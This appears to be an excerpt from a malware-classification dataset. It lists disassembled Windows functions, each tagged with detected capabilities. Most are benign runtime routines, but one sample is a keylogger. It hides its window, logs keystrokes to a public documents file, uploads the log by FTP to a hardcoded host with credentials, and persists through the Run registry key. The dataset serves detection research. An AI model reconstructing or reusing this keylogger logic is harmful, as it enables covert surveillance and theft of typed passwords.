joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1401739a0
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x38
mov rax, qword [rcx]
movsxd rcx, dword [rcx + 8]
xorps xmm0, xmm0
movups xmm1, xmmword [0x14026bcf0]
xor edx, edx
lea r8, [rcx - 0x10]
movups xmm2, xmmword [rax + rdx*4]
movaps xmm3, xmm0
paddd xmm3, xmm2
pxor xmm0, xmm3
pxor xmm2, xmm3
pand xmm0, xmm2
movups xmm2, xmmword [rax + rdx*4 + 0x10]
movaps xmm4, xmm3
paddd xmm4, xmm2
pxor xmm3, xmm4
pxor xmm2, xmm4
pand xmm2, xmm3
por xmm0, xmm2
movups xmm2, xmmword [rax + rdx*4 + 0x20]
movaps xmm3, xmm4
paddd xmm3, xmm2
pxor xmm4, xmm3
pxor xmm2, xmm3
pand xmm2, xmm4
por xmm0, xmm2
movups xmm2, xmmword [rax + rdx*4 + 0x30]
movaps xmm4, xmm3
paddd xmm4, xmm2
pxor xmm3, xmm4
pxor xmm2, xmm4
pand xmm2, xmm3
por xmm2, xmm0
pand xmm2, xmm1
xorps xmm0, xmm0
pcmpeqd xmm0, xmm2
pmovmskb r10d, xmm0
cmp r10d, 0xffff
jne 0x140173afb
add rdx, 0x10
cmp rdx, r8
movaps xmm0, xmm4
jb 0x1401739bb
lea r8, [rcx - 4]
cmp rdx, r8
jae 0x140173aa7
xorps xmm1, xmm1
nop
movups xmm2, xmmword [rax + rdx*4]
movaps xmm3, xmm0
paddd xmm3, xmm2
pxor xmm0, xmm3
pxor xmm2, xmm3
pand xmm0, xmm2
por xmm1, xmm0
movaps xmm0, xmm3
add rdx, 4
cmp rdx, r8
jb 0x140173a60
movups xmm2, xmmword [0x14026bcf0]
pand xmm2, xmm1
xorps xmm1, xmm1
pcmpeqd xmm1, xmm2
pmovmskb r8d, xmm1
cmp r8d, 0xffff
jne 0x140173afb
movaps xmmword [rsp + 0x20], xmm0
mov r8d, dword [rsp + 0x20]
movaps xmmword [rsp + 0x20], xmm0
add r8d, dword [rsp + 0x24]
jo 0x140173af6
movaps xmmword [rsp + 0x20], xmm0
add r8d, dword [rsp + 0x28]
jo 0x140173af6
movaps xmmword [rsp + 0x20], xmm0
add r8d, dword [rsp + 0x2c]
jo 0x140173af6
cmp rdx, rcx
jae 0x140173aee
nop word [rax + rax]
add r8d, dword [rax + rdx*4]
jo 0x140173af6
inc rdx
cmp rdx, rcx
jb 0x140173ae0
mov eax, r8d
add rsp, 0x38
ret
call fcn.1400e41b0
call fcn.140075110
int3

Function at 0x140174660
Capabilities:
Hash data using murmur3

Disassembly:
push rdi
push rsi
push rbp
push rbx
sub rsp, 0x28
mov dword [rsp + 0x50], ecx
mov dword [rsp + 0x58], edx
mov dword [rsp + 0x60], r8d
mov ebx, dword [rsp + 0x50]
mov esi, dword [rsp + 0x58]
mov edi, dword [rsp + 0x60]
lea rbp, [0x1401ae638]
cmp qword [rbp - 8], 0
jne 0x1401746f4
mov eax, dword [rbp]
imul ecx, ebx, 0xc2b2ae3d
lea eax, [rax + rcx + 0x165667bd]
rol eax, 0x11
imul eax, eax, 0x27d4eb2f
imul ecx, esi, 0xc2b2ae3d
add eax, ecx
rol eax, 0x11
imul eax, eax, 0x27d4eb2f
imul ecx, edi, 0xc2b2ae3d
add eax, ecx
rol eax, 0x11
imul eax, eax, 0x27d4eb2f
mov ecx, eax
shr ecx, 0xf
xor ecx, eax
imul eax, ecx, 0x85ebca77
mov ecx, eax
shr ecx, 0xd
xor ecx, eax
imul eax, ecx, 0xc2b2ae3d
mov ecx, eax
shr ecx, 0x10
xor eax, ecx
add rsp, 0x28
pop rbx
pop rbp
pop rsi
pop rdi
ret
call fcn.140001091
jmp 0x14017468f

Function at 0x140482148
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov rax, qword [rbp + rbx*8]
mov qword [rsp], 0xffffffffc221d8b3
cmp ebx, 1
lea rsp, [rsp + 8]
jne 0x140479324
mov ecx, 0xe787473a
call fcn.1404892a1
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x00405700]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x00405710]
mov dword [rax], 1
mov rax, qword [0x00405720]
mov dword [rax], 1
mov rax, qword [0x004056f0]
mov dword [rax], 1
mov rax, qword [0x004055e0]
cmp word [rax], 0x5a4d
je 0x4010b0
mov rax, qword [0x004056e0]
mov dword [0x00408008], edx
mov eax, dword [rax]
test eax, eax
je 0x4010a0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x004056a0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x00405590]
cmp dword [rax], 1
je 0x4010f0
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x401075
movsxd rcx, dword [rax + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x401058
movzx ecx, word [rax + 0x18]
cmp cx, 0x10b
je 0x401103
cmp cx, 0x20b
jne 0x401058
cmp dword [rax + 0x84], 0xe
jbe 0x401058
mov ecx, dword [rax + 0xf8]
xor edx, edx
test ecx, ecx
setne dl
jmp 0x401058
lea rcx, [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401058
mov r8d, dword [rax + 0xe8]
xor edx, edx
test r8d, r8d
setne dl
jmp 0x401058
Function at 0x401864
Capabilities:
Hide graphical window

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov rax, qword [sym.imp.KERNEL32.dll_AllocConsole]
call rax
mov edx, 0
lea rcx, str.ConsoleWindowClass
mov rax, qword [sym.imp.USER32.dll_FindWindowA]
call rax
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
nop
add rsp, 0x30
pop rbp
ret

Function at 0x4018aa
Capabilities:
Connect to http server
Create http request
Send file using ftp

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.WININET.dll_InternetOpenA]
call rax
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 1
lea rdx, str.enter333
mov qword [rsp + 0x20], rdx
lea r9, str.adamtest12
mov r8d, 0x15
lea rdx, str.ftp.atw.hu
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetConnectA]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov qword [rsp + 0x20], 0
mov r9d, 2
lea r8, str._log.txt
lea rdx, str.C:UsersPublicDocumentslog.txt
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_FtpPutFileA]
call rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
nop
add rsp, 0x50
pop rbp
ret
Function at 0x40197e
Capabilities:
Log keystrokes via polling

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov ecx, 0xa
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov byte [rbp - 1], 8
movsx eax, byte [rbp - 1]
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
cmp ax, 0x8001
jne 0x401c15
lea rdx, [0x00405142]
lea rcx, str.C:UsersPublicDocumentslog.txt
call sym.fopen
mov qword [rbp - 0x10], rax
cmp byte [rbp - 1], 0x26
jle 0x4019e8
cmp byte [rbp - 1], 0x40
jg 0x4019e8
movsx eax, byte [rbp - 1]
mov rdx, qword [rbp - 0x10]
mov ecx, eax
call sym.fputc
jmp 0x401c09
cmp byte [rbp - 1], 0x40
jle 0x401a12
cmp byte [rbp - 1], 0x5a
jg 0x401a12
movzx eax, byte [rbp - 1]
add eax, 0x20
mov byte [rbp - 1], al
movsx eax, byte [rbp - 1]
mov rdx, qword [rbp - 0x10]
mov ecx, eax
call sym.fputc
jmp 0x401c09
movsx eax, byte [rbp - 1]
sub eax, 8
cmp eax, 0x26
ja case.0x401a42.10
mov eax, eax
lea rdx, [rax*4]
lea rax, [0x0040519c]
mov eax, dword [rdx + rax]
cdqe
lea rdx, [0x0040519c]
add rax, rdx
jmp rax
mov rax, qword [rbp - 0x10]
mov rdx, rax
mov ecx, 0x20
call sym.fputc
jmp 0x401c09
mov rax, qword [rbp - 0x10]
mov r9, rax
mov r8d, 7
mov edx, 1
lea rcx, str._SHIFT_
call sym.fwrite
jmp 0x401c09
mov rax, qword [rbp - 0x10]
mov rdx, rax
mov ecx, 0xa
call sym.fputc
jmp 0x401c09
mov rax, qword [rbp - 0x10]
mov r9, rax
mov r8d, 0xb
mov edx, 1
lea rcx, str._BACKSPACE_
call sym.fwrite
jmp 0x401c09
mov rax, qword [rbp - 0x10]
mov r9, rax
mov r8d, 5
mov edx, 1
lea rcx, str._TAB_
call sym.fwrite
jmp 0x401c09
mov rax, qword [rbp - 0x10]
mov r9, rax
mov r8d, 6
mov edx, 1
lea rcx, str._CTRL_
call sym.fwrite
jmp 0x401c09
mov rax, qword [rbp - 0x10]
mov r9, rax
mov r8d, 5
mov edx, 1
lea rcx, str._ESC_
call sym.fwrite
jmp 0x401c09
mov rax, qword [rbp - 0x10]
mov r9, rax
mov r8d, 5
mov edx, 1
lea rcx, str._END_
call sym.fwrite
jmp 0x401c09
mov rax, qword [rbp - 0x10]
mov r9, rax
mov r8d, 6
mov edx, 1
lea rcx, str._HOME_
call sym.fwrite
jmp 0x401c09
mov rax, qword [rbp - 0x10]
mov r9, rax
mov r8d, 6
mov edx, 1
lea rcx, str._LEFT_
call sym.fwrite
jmp 0x401c09
mov rax, qword [rbp - 0x10]
mov r9, rax
mov r8d, 4
mov edx, 1
lea rcx, str._UP_
call sym.fwrite
jmp 0x401c09
mov rax, qword [rbp - 0x10]
mov r9, rax
mov r8d, 7
mov edx, 1
lea rcx, str._RIGHT_
call sym.fwrite
jmp 0x401c09
mov rax, qword [rbp - 0x10]
mov r9, rax
mov r8d, 6
mov edx, 1
lea rcx, str._DOWN_
call sym.fwrite
jmp 0x401c09
mov rax, qword [rbp - 0x10]
mov r9, rax
mov r8d, 5
mov edx, 1
lea rcx, str._DEL_
call sym.fwrite
jmp 0x401c09
nop
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.fclose
movzx eax, byte [rbp - 1]
add eax, 1
mov byte [rbp - 1], al
jmp 0x401998
Function at 0x401c24
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
lea rax, [rbp - 8]
mov r8, rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
call rax
mov rax, qword [rbp - 8]
mov dword [rsp + 0x28], 0x21
lea rdx, str.C:UsersPublicDocumentslog.exe
mov qword [rsp + 0x20], rdx
mov r9d, 1
mov r8d, 0
lea rdx, str.MyApp
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
nop
add rsp, 0x40
pop rbp
ret

Function at 0x402230
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x00408624]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x4023b8
mov rax, qword [0x00408628]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x40227c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x402305
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x402260
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x4023ed
mov rax, qword [0x00408628]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call sym._GetPEImageBase
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x00408628]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x4023d0
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x4022fe
sub eax, 0x40
and eax, 0xffffffbf
jne 0x402360
add dword [0x00408624], 1
cmp edi, 8
jae 0x402333
test dil, 4
jne 0x4023a4
test edi, edi
je 0x402328
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x4023bf
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x402328
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x40234c
jmp 0x402328
add rsi, qword [0x00408628]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x4022fe
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x402328
xor esi, esi
jmp 0x402287
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x402328
mov rax, qword [0x00408628]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop dword [rax]
Function at 0x402b40
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00408900]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x004088e0]
test rbx, rbx
je 0x402b94
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x402b8b
test rsi, rsi
je 0x402b8b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x402b70
lea rcx, [0x00408900]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x402dd0
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x402de0
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x402df0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x402e31
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x402e28
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x402e33
add rax, 0x28
cmp rax, r9
jne 0x402e14
xor eax, eax
ret

Function at 0x402ed0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x004055e0]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x402f3d
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402f3d
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x402f3d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x402f34
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x402f3f
add rax, 0x28
cmp rax, r9
jne 0x402f20
xor eax, eax
add rsp, 0x28
ret

Function at 0x403040
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x004055e0]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x403060
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x403058
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x4030bd
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x4030b4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x4030c4
add rax, 0x28
cmp rax, r9
jne 0x4030a0
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret
Function at 0x4030e0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x004055e0]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x40314e
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x40314e
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x40314e
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x40314e
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x403145
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x403155
add rcx, 0x28
cmp rcx, rax
jne 0x403130
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x403168
jmp 0x40314e
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x403176
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x40314e
test r9d, r9d
jg 0x403160
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret

Function at 0x403460
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x416440
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x4165cb
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.00434900
xorps xmm15, xmm15
mov r14, qword [0x005f6ad8]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
jne 0x4164a5
mov rax, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
jmp 0x4164b4
add rsp, 0x48
pop rbp
ret
sub rcx, rbx
add rax, rbx
mov rbx, rcx
test rbx, rbx
jbe 0x4164d3
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x40], rax
mov rcx, rbx
jmp 0x4164e3
cmp rbx, 0x1000
jae 0x4164ab
jmp 0x41654d
add rsp, 0x48
pop rbp
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
cmp rbx, 0x1000
jae 0x4164f5
xor edx, edx
jmp 0x416544
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.00434900
xorps xmm15, xmm15
mov r14, qword [0x005f6ad8]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
sete al
mov rcx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x38]
mov edx, eax
mov rax, qword [rsp + 0x40]
test dl, dl
jne 0x4164d9
jmp 0x4164c8
call fcn.00467940
xorps xmm15, xmm15
mov r14, qword [0x005f6ad8]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov eax, dword [rsp]
mov qword [rsp + 0x30], rax
call fcn.004389a0
lea rax, [0x004c29fb]
mov ebx, 0x18
nop dword [rax]
call fcn.00439220
mov rax, qword [rsp + 0x38]
call fcn.00438f60
lea rax, [0x004c2efd]
mov ebx, 0x19
nop dword [rax + rax]
call fcn.00439220
mov rax, qword [rsp + 0x30]
call fcn.00438f60
call fcn.00438be0
call fcn.00438a00
lea rax, [0x004c5294]
mov ebx, 0x21
call fcn.00436f00
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.00464220
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.00416440
Function at 0x416600
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x416826
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rbx
mov rcx, qword [sym.imp.kernel32.dll_VirtualAlloc]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x1000
mov qword [rsp + 0x20], 4
call fcn.00434980
xorps xmm15, xmm15
mov r14, qword [0x005f6ad8]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 0x60]
mov rcx, rax
cmp qword [rsp + 0x28], rax
je 0x416673
mov rbx, qword [rsp + 0x68]
mov rax, rbx
jmp 0x416682
add rsp, 0x50
pop rbp
ret
sub rdx, rbx
add rcx, rbx
mov rbx, rdx
test rbx, rbx
jbe 0x4166a5
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rcx
mov rdx, rbx
jmp 0x4166b5
cmp rbx, 0x1000
jae 0x416679
nop
jmp 0x416738
add rsp, 0x50
pop rbp
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
nop word [rax + rax]
cmp rbx, 0x1000
jae 0x4166cd
xor esi, esi
jmp 0x41672a
mov rax, qword [sym.imp.kernel32.dll_VirtualAlloc]
mov qword [rsp], rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x1000
mov qword [rsp + 0x20], 4
call fcn.00434980
xorps xmm15, xmm15
mov r14, qword [0x005f6ad8]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x28], 0
sete al
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x38]
mov esi, eax
mov rax, qword [rsp + 0x68]
test sil, sil
jne 0x4166ab
jmp 0x416696
call fcn.00467940
xorps xmm15, xmm15
mov r14, qword [0x005f6ad8]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov eax, dword [rsp]
mov dword [rsp + 0x34], eax
cmp eax, 8
jne 0x4167c0
nop dword [rax + rax]
call fcn.004389a0
lea rax, [0x004c2f16]
mov ebx, 0x19
call fcn.00439220
mov rax, qword [rsp + 0x68]
nop dword [rax + rax]
call fcn.00438f60
lea rax, [0x004c2efd]
mov ebx, 0x19
call fcn.00439220
mov eax, dword [rsp + 0x34]
call fcn.00438f60
nop
call fcn.00438be0
call fcn.00438a00
lea rax, [0x004bf534]
mov ebx, 0xd
call fcn.00436f00
nop dword [rax + rax]
cmp eax, 0x5af
je 0x416760
call fcn.004389a0
lea rax, [0x004c2f16]
mov ebx, 0x19
call fcn.00439220
mov rax, qword [rsp + 0x38]
call fcn.00438f60
lea rax, [0x004c2efd]
mov ebx, 0x19
call fcn.00439220
mov eax, dword [rsp + 0x34]
nop dword [rax]
call fcn.00438f60
call fcn.00438be0
call fcn.00438a00
lea rax, [0x004c4a8d]
mov ebx, 0x1f
nop dword [rax + rax]
call fcn.00436f00
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.00464220
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
nop
jmp fcn.00416600
Function at 0x420600
Capabilities:
Hash data using murmur3

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
cmp byte [0x005f68b3], 0
jne 0x4206f0
sub rbx, qword [rax + 0x18]
mov rdx, qword [rax + 0x48]
test byte [rdx], al
mov ecx, dword [rax + 0x5c]
imul rcx, rbx
mov rbx, rcx
shr rbx, 0x20
shr rcx, 0x23
and ebx, 7
mov rsi, rcx
mov rcx, rbx
mov edi, 1
shl edi, cl
add rdx, rsi
nop
nop
nop
nop
lock or byte [rdx], dil
mov rcx, qword [rax + 0x18]
movabs rdx, 0x800000000000
add rdx, rcx
mov rbx, rdx
shr rdx, 0x2a
nop
nop
nop
cmp rdx, 0x40
jae 0x4206e3
lea rsi, [0x005889b8]
mov rdx, qword [rsi + rdx*8]
test byte [rdx], al
mov rsi, rcx
shr rsi, 0x10
and esi, 0x3f
shr rcx, 0xd
and ecx, 7
mov edi, 1
shl edi, cl
shr rbx, 0x16
and ebx, 0xfffff
mov rdx, qword [rdx + rbx*8]
test byte [rdx], al
movzx ebx, byte [rdx + rsi + 0x1040]
lea rdx, [rdx + rsi]
lea rdx, [rdx + 0x1040]
test dil, bl
jne 0x4206be
lock or byte [rdx], dil
mov rcx, qword [r14 + 0x30]
mov rcx, qword [rcx + 0xa0]
test byte [rcx], al
mov rdx, qword [rcx + 0x1270]
add rdx, qword [rax + 0x68]
mov qword [rcx + 0x1270], rdx
add rsp, 0x10
pop rbp
ret
mov rax, rdx
mov ecx, 0x40
call fcn.00466520
lea rax, [0x004c7126]
mov ebx, 0x2c
nop dword [rax]
call fcn.00436f00
nop
int3

Function at 0x422b40
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x422c46
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rcx
mov byte [rsp + 0x70], dil
mov qword [rsp + 0x10], 0
jmp 0x422b83
mov rax, qword [rsp + 0x58]
mov rcx, rdx
mov rbx, qword [rsp + 0x60]
movzx edi, byte [rsp + 0x70]
cmp qword [rsp + 0x10], rbx
jae 0x422c3b
test byte [rax], al
lea rcx, [rax + 0x100b8]
mov ebx, edi
mov rax, rcx
nop dword [rax]
call fcn.00423920
test rax, rax
je 0x422c3b
movups xmmword [rsp + 0x18], xmm15
movups xmmword [rsp + 0x28], xmm15
movups xmmword [rsp + 0x38], xmm15
lea rcx, [0x00422c80]
mov qword [rsp + 0x18], rcx
lea rdx, [rsp + 0x10]
mov qword [rsp + 0x20], rdx
mov rdx, qword [rsp + 0x58]
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rbx
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x18]
mov qword [rsp], rbx
nop dword [rax]
call fcn.00464100
xorps xmm15, xmm15
mov r14, qword [0x005f6ad8]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rdx, qword [rsp + 0x68]
nop dword [rax]
test rdx, rdx
jne 0x422c29
xor eax, eax
jmp 0x422c33
mov rax, qword [rdx]
call rax
mov rdx, qword [rsp + 0x68]
test al, al
je 0x422b71
mov rax, qword [rsp + 0x10]
add rsp, 0x48
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
mov byte [rsp + 0x20], dil
call fcn.00464220
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
movzx edi, byte [rsp + 0x20]
jmp fcn.00422b40
Function at 0x42f6e0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x42f7d9
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rax + 0x108], 0
